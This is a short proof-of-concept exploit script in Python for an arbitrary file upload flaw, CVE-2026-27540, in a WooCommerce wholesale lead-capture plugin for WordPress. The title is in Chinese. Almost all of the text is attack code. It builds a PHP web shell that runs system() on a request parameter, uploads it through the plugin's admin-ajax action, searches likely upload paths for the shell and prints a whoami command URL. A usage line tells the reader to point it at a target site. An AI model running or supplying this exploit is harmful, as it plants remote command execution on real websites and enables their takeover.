CVE-2026-27540 WooCommerce Wholesale Lead Capture 插件任意文件上传漏洞

import requests import sys # CVE-2026-27540 PoC - Arbitrary File Upload # Target: WooCommerce Wholesale Lead Capture Plugin <= 2.0.3.1 def exploit(target_url, file_path='shell.php'): """ Exploit for CVE-2026-27540 Uploads a malicious PHP file to target WordPress site """ # Prepare malicious PHP file php_payload = "<?php if(isset($_REQUEST['cmd'])){ echo '<pre>'; $cmd = ($_REQUEST['cmd']); system($cmd); echo '</pre>'; } ?>" # File upload endpoint - typical WordPress AJAX handler upload_url = f"{target_url}/wp-admin/admin-ajax.php" # Prepare multipart form data files = { 'file': (file_path, php_payload, 'application/x-php') } # Add required WordPress nonce and action parameters data = { 'action': 'wwslc_upload_lead_file', 'nonce': 'exploit', # May need valid nonce in some cases } try: print(f"[*] Attempting to upload malicious file to {target_url}") response = requests.post(upload_url, files=files, data=data, timeout=30) if response.status_code == 200: print("[+] File upload request sent") print(f"[*] Response: {response.text}") # Try to access the uploaded file # Common upload paths in WordPress plugins upload_paths = [ f"{target_url}/wp-content/uploads/{file_path}", f"{target_url}/wp-content/plugins/woocommerce-wholesale-lead-capture/uploads/{file_path}", ] for path in upload_paths: try: check = requests.get(path, timeout=10) if check.status_code == 200: print(f"[+] Malicious file found at: {path}") print(f"[*] Execute command: {path}?cmd=whoami") return True except: pass return False except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2026-27540.py <target_url>") print("Example: python cve-2026-27540.py http://target.com") sys.exit(1) target = sys.argv[1].rstrip('/') exploit(target)